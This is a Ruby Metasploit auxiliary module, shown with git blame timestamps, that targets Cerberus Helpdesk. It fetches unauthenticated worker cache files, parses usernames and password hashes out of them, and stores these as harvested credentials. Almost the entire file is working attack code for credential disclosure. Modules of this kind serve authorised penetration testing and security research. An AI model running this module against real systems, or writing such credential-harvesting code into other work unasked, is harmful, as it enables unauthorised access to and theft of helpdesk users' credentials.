metasploit-framework/modules/auxiliary/gather/cerberus_helpdesk_hash_disc...

87 lines
2.8 KiB
Ruby
Raw Normal View History

2017-06-16 12:24:54 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2017-06-16 12:24:54 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Cerberus Helpdesk User Hash Disclosure',
'Description' => %q{
This module extracts usernames and password hashes from the Cerberus Helpdesk
2017-06-24 17:01:39 +00:00
through an unauthenticated access to a workers file.
2017-06-17 00:59:19 +00:00
Verified on Version 4.2.3 Stable (Build 925) and 5.4.4
2017-06-16 12:24:54 +00:00
},
'References' =>
[
[ 'EDB', '39526' ]
],
2017-06-24 17:01:39 +00:00
'Author' =>
[
'asdizzle_', # discovery
'h00die', # module
2017-06-16 12:24:54 +00:00
],
2017-06-24 17:01:39 +00:00
'License' => MSF_LICENSE,
'DisclosureDate' => 'Mar 7 2016'
2017-06-16 12:24:54 +00:00
)
register_options(
[
2017-06-24 17:01:39 +00:00
OptString.new('TARGETURI', [false, 'URL of the Cerberus Helpdesk root', '/'])
2017-06-16 12:24:54 +00:00
])
end
def run_host(rhost)
begin
['devblocks', 'zend'].each do |site|
2017-06-24 17:01:39 +00:00
url = normalize_uri(datastore['TARGETURI'], 'storage', 'tmp', "#{site}_cache---ch_workers")
2017-06-16 12:24:54 +00:00
vprint_status("Attempting to load data from #{url}")
res = send_request_cgi({'uri' => url})
2017-06-24 17:01:39 +00:00
if !res
2017-06-16 12:24:54 +00:00
print_error("#{peer} Unable to connect to #{url}")
2017-06-24 17:01:39 +00:00
next
end
if !res.body.include?('pass')
print_error("Invalid response received for #{peer} for #{url}")
next
end
cred_table = Rex::Text::Table.new 'Header' => 'Cerberus Helpdesk User Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Password Hash']
# the returned object looks json-ish, but it isn't. Unsure of format, so we'll do some ugly manual parsing.
# this will be a rough equivalent to sed -e 's/s:5/\n/g' | grep email | cut -d '"' -f4,8 | sed 's/"/:/g'
result = res.body.split('s:5')
result.each do |cred|
if cred.include?('email')
cred = cred.split(':')
username = cred[3].tr('";', '') # remove extra characters
username = username[0...-1] # also remove trailing s
password_hash = cred[7].tr('";', '') # remove extra characters
print_good("Found: #{username}:#{password_hash}")
store_valid_credential(
user: username,
private: password_hash,
private_type: :nonreplayable_hash
)
cred_table << [username, password_hash]
2017-06-16 12:24:54 +00:00
end
end
2017-06-24 17:01:39 +00:00
print_line
print_line cred_table.to_s
break
2017-06-16 12:24:54 +00:00
end
rescue ::Rex::ConnectionError
print_error("#{peer} Unable to connect to site")
return
end
end
end